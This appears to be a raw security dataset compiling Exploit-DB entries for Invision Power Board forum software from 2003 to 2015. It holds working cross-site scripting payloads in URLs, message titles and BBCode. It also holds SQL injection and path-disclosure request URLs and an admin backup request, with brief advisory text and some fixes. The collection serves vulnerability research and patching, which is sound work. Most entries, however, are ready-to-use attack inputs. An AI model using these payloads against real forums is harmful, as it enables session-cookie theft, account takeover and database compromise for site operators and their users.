deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27441
Description: Invision Power Board (IP.Board) 2.0.4 - Help Action 'HID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-17
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/17144/info
     
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Help&CODE=01&HID='><script>alert(document.cookie)</script>
Exploit-DB #27440
Description: Invision Power Board (IP.Board) 2.0.4 - Mail Action 'MID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-17
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/17144/info
    
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Mail&CODE=00&MID='><script>alert(document.cookie)</script>
Exploit-DB #27439
Description: Invision Power Board (IP.Board) 2.0.4 - Print Action 't' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-17
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/17144/info
   
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Print&client=printer&f=1&t='><script>alert(document.cookie)</script>
Exploit-DB #27436
Description: Invision Power Board (IP.Board) 2.0.4 - Search Action Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-17
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/17144/info

Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb[PII_REDACTED]796819a2b367&search_in=ooo&result_type='><script>alert(document.cookie)</script>
http://www.example.com/forum/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb[PII_REDACTED]796819a2b367&search_in='><script>alert(document.cookie)</script>&result_type=posts
http://www.example.com/forum/index.php?act=Search&nav='><script>alert(document.cookie)</script>
Exploit-DB #26478
Description: Invision Power Board (IP.Board) 2.1 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-11-07
Author: benjilenoob

Exploit:
source: https://www.securityfocus.com/bid/15344/info

Invision Power Board is prone to multiple cross-site scripting vulnerabilities.
These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 2.1 is vulnerable; earlier versions may also be affected. 

http://www.example.com/2p1p0b3/upload/admin.php?adsess=[xss]&act=login&code=login-complete

http://www.example.com/2p1p0b3/upload/admin.php?adsess=[id]&section=content&act=forum&code=new&name=[xss]

http://www.example.com/2p1p0b3/upload/admin.php?name=[xss]&description=[xss]
Exploit-DB #32960
Description: Invision Power Board (IP.Board) 3.0 - Multiple HTML Injection / Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2009-04-27
Author: brain[pillow]

Exploit:
source: https://www.securityfocus.com/bid/34725/info

Invision Power Board is prone to an information-disclosure issue and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to determine path information or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; this may aid in other attacks.

Invision Power Board 3.0.0b5 is vulnerable; other versions may also be affected. 

The following example data and URI are available:

[email]qwe@[twitter]dodo style=`top:expr/* */ession/*bypassed*/(alert(/yahoo/))`do[/twitter]example.com[/email]

http://www.example.com/index.php?app=core&module=ajax&section=register&do=check-display-name&name[]=
Exploit-DB #8538
Description: Invision Power Board (IP.Board) 3.0.0b5 - Active Cross-Site Scripting / Full Path Disclosure
Type: webapps
Platform: php
Date: 2009-04-27
Author: brain[pillow]

Exploit:
================================================================================

Found : brain[pillow]
Dork  : "Powered By IP.Board 3.0.0 Beta 5"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Greetz: slider, halkfild, m0nzt3r, c411k, ettee
Mail  : brainpillow@gmail.com
Note: works on IE 6,7,8. maybe all betas are vulnerable and it is possible to tune the xss for FF 2.0 too  ;) 

================================================================================

        Active XSS in message body or signature:

[email]qwe@[twitter]dodo style=`top:expr/*
        */ession/*bypassed*/(alert(/yahoo/))`do[/twitter]qwe.com[/email]

================================================================================

        Path disclosure:

http://forums.invisionpower.com/index.php?app=core&module=ajax&section=register&do=check-display-name&name[]=

================================================================================

# milw0rm.com [2009-04-27]
Exploit-DB #33394
Description: Invision Power Board (IP.Board) 3.0.3 - '.txt' MIME-Type Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-09
Author: Xacker

Exploit:
source:  https://www.securityfocus.com/bid/37263/info

Invision Power Board is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Invision Power Board 2.0 through 3.0.4 are vulnerable. Other versions may also be affected. 

<span onmouseover="javascript:alert('XSS');function
fakeLoginPage(){...}">move your mouse pointer here</span>
Exploit-DB #38837
Description: Invision Power Board (IP.Board) 4.1.4.x - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-12-01
Author: Mehdi Alouache

Exploit:
# Exploit Title: IP.Board Persistent XSS Vulnerability
# Date: 29/10/2015
# Software Link: https://www.invisionpower.com/buy
# Software version : 4.1.4.x
# Exploit Author: Mehdi Alouache
# Contact: mehdi.alouache@etu.univ-lehavre.fr
# Category: webapps

1. Description

Any registered user can execute remote javascript code by sending a 
private message to another user. The malicious JS code has to
be written in the title of the message, and the receiver must have 
enabled the notifications when a new message is delivered.
Note that the code will be directly executed as soon as the notification 
appear. (The receiver doesn't even need to check his
inbox).

2. Proof of Concept

Register on the forum (IP.Board) of a website as a regular user, and 
send a message to any user having the message notifications
enabled. In the title field (and only here), a simple 
<script>alert(1)</script> will show a dialog box to the victim.

3. Solution:

Patch the vulnerability with the (incoming) associated patch.

-- 
ALOUACHE Mehdi
Departement informatique
Groupe A

mehdi.alouache@hotmail.fr
mehdi.alouache@etu.univ-lehavre.fr
Exploit-DB #37017
Description: Invision Power Board (IP.Board) 4.2.1 - 'searchText' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-28
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/52740/info

Invision Power Board is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Invision Power Board 4.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?s=blablabla&&app=gallery&module=ajax&section=albumSelector&do=albumSelectorPane&secure_key=blalblabla&type=upload&albums=search&moderate=&album_id=1593&member_id=&searchType=member&searchMatch=is&searchIsGlobal=0&searchSort=date&searchDir=desc&searchText=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000252%29%3C%2Fscript%3E
Exploit-DB #37989
Description: Invision Power Board (IP.Board) 4.x - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-08-27
Author: snop

Exploit:
# Exploit Title: IP.Board 4.X Stored XSS
# Date: 27-08-2015
# Software Link: https://www.invisionpower.com/
# Exploit Author: snop.
# Contact: http://twitter.com/rabbitz_org
# Website: http://rabbitz.org
# Category: webapps

1. Description

A registered or non-registered user can create a calendar event
including malicious JavaScript code who will be permanently stored in
the pages source.

2. Proof of Concept

http://URL_TO_FORUM/calendar/submit/?calendar=1

POST:
Affected Paramter: event_location[address][]

3. Solution

Update to version 4.0.12.1
https://community.invisionpower.com/release-notes/40121-r22/

Disclosure Timeline
27.07.15: Vendor notified
05.08.15: Fix released
27.08.15: Public disclosure
Exploit-DB #43800
Description: Invision Power Board (IP.Board) < 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2004-03-02
Author: GulfTech Security

Exploit:
IP.Board SQL Injection

Vendor: Invision Power Services
Product: IP.Board
Version: <= 1.3
Website: http://www.invisionboard.com/

BID: 9810 

Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world. 

Problem:
There are three problems I am going to talk about here. neither I believe to be critical. The first causes an SQL error by tampering with the offset in the "sources/Memberlist.php" feature. Below is an example of a "vulnerable" query. 

index.php?&act=Members&max_results=10&filter=ALL&sort_order=asc&sort_key=name&st=[ Junk ] 

The same issue is also present in the "sources/Online.php" file
index.php?&act=Online&CODE=listall&sort_key=click&sort_order=desc&show_mem=all&st=[ Junk ] 

The other problem is that it is easy for an attacker to learn the full physical path of the webserver. This can be accomplished via the "Change Personal Photo" option in the user control panel. By entering an invalid character such as a null character "%20" in the upload box and submitting the form you will be greeted by the following error message: 

Warning: getimagesize() [function.getimagesize]: 
Read error! in /full/path/sources/lib/usercp_functions.php on line 192 

Solution:
These are not critical issues, so they will probably not be addressed until the next public release on Invision Power Board.
Hello,

Thanks for the email.

All outstanding non-critical reports will be dealt with in the next 
release. The discussion on the forum password plaintext vulnberability 
is a little moot as it's documented as a 'quick fix' forum permission 
and shouldn't be used in place of forum permissions. In any case, this 
may well be resolved by using an MD5 hash in the cookie.

Regards

Matthew Mecham
Invision Power Board Lead Developer
Invision Power Services, Inc. CEO


Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #43813
Description: Invision Power Board (IP.Board) < 1.3.1 - Design Error
Type: webapps
Platform: php
Date: 2004-05-04
Author: GulfTech Security

Exploit:
IP.Board Design Error

Vendor: Invision Power Services
Product: IP.Board
Version: <= 1.3.1
Website: http://www.invisionpower.com/

BID: 10559 

Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world. 

IP Spoofing Vulnerability:
There lies a vulnerability in all version of Invision Power Board that allow a user to spoof his/her IP address by creating a bogus X_FORWARDED_FOR HTTP Header entry. This condition can also be caused by a user unknowingly if they use a proxy to access the internet. For example, private LAN based IP's will be logged which are impossible to trace. Below we see a snip of the vulnerable code taken from the file sources/functions.php @ line 1440 

//----------------------------------------
// Sort out the accessing IP
// (Thanks to Cosmos and schickb)
//----------------------------------------

$addrs = array();

foreach( array_reverse( explode( ',', $HTTP_X_FORWARDED_FOR ) ) as $x_f )
{
   $x_f = trim($x_f);
   
   if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
   {
      $addrs[] = $x_f;
   }
}

$addrs[] = $_SERVER['REMOTE_ADDR'];
$addrs[] = $HTTP_PROXY_USER;
$addrs[] = $REMOTE_ADDR; 

So, basically if the X_FORWARDED_FOR header entry is present it ignores everything else? Seems to be the case. Not a good idea at all. This vulnerabilty makes the IP logging feature of IPB totally useless. Also, IP's are used in the sessions, as one of the ways to uniquely identiofy a user. For example, if you take your admin session ID (adsess) and then use it from a different IP than the one the session was created with you get an error message that the IP is not yours etc etc. So, as you can see this issue could probably cause alot more problems than meets the eye. 

Solution:
Until there is an official fix I just commented out the foreach loop shown in the previous code snippet. It's not a pretty solution but works for now. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #43790
Description: Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC)
Type: webapps
Platform: php
Date: 2003-12-16
Author: GulfTech Security

Exploit:
IP.Board SQL Injection

Vendor: Invision Power Services
Product: IP.Board
Version: <= 2.0 Alpha 3
Website: http://www.invisionboard.com/

BID: 9232 

Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world. 

Problem:
Invision Power Board is vulnerable to an SQL Injection Vulnerability. All versions up to 2.0 Alpha 3 seem to be affected. Below is an example URL to test if you are vulnerable. 

/index.php?showforum=1&prune_day=100&sort_by=Z-A&sort_key=[Problem_Is_Here] 

If you are vulnerable (you should be) you will see an error message similar to the one posted below. The only requirement is to know a valid forum number and to have read access to that forum (must be able to view it). 

mySQL query error: SELECT * from ibf_topics WHERE forum_id=2 and approved=1 
and (last_post > 0 OR pinned=1) ORDER BY pinned DESC, [Problem_Is_Here] DESC 
LIMIT 0,15

mySQL error: You have an error in your SQL syntax near '[Problem_Is_Here] 
DESC LIMIT 0,15' at line 1

mySQL error code: 
Date: Saturday 13th of December 2003 01:25:30 AM

Solution:
Invision Power Services have released a fix for this issue. 
http://www.invisionboard.com/download/index.php?act=dl&s=1&id=12&p=1 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #10878
Description: Invision Power Board (Trial) 2.0.4 - Backup
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Invision Power Board(Trial) v2.0.4 Backup Vulnerability                 |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |                                                               
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Powered by Invision Power Board(Trial) v2.0.4 &#65533; 2009  IPS, Inc.         |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : Backup                                                                  | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/Invision/admin.php?adsess=c35b4de23cd409abd16ba2f90348b484&act=mysql&code=dosafebackup&create_tbl=1&addticks=&skip=1&enable_gzip=1
|  
================================   Dz-Ghost Team   ========================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
-------------------------------------------------------------------------------------------
Exploit-DB #24186
Description: Invision Power Board 1.3 - 'SSI.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-06-11
Author: JvdR

Exploit:
source: https://www.securityfocus.com/bid/10511/info

Invision Power Board is reported prone to an SQL injection vulnerability in its 'ssi.php' script.

Due to improper filtering of user supplied data, 'ssi.php' is exploitable by attackers to pass SQL statements to the underlying database.

The impact of this vulnerability depends on the underlying database. It may be possible to corrupt/read sensitive data, execute commands/procedures on the database server or possibly exploit vulnerabilities in the database itself through this condition.

Version 1.3.1 Final of Invision Power Board is reported vulnerable. Other versions may also be affected as well.

*** There have been conflicting reports stating the the vulnerable variable only accepts integer values and not arbitrary strings. 

http://www.example.com/ssi.php?a=out&type=xml&f=0)[SQL-INJECTION]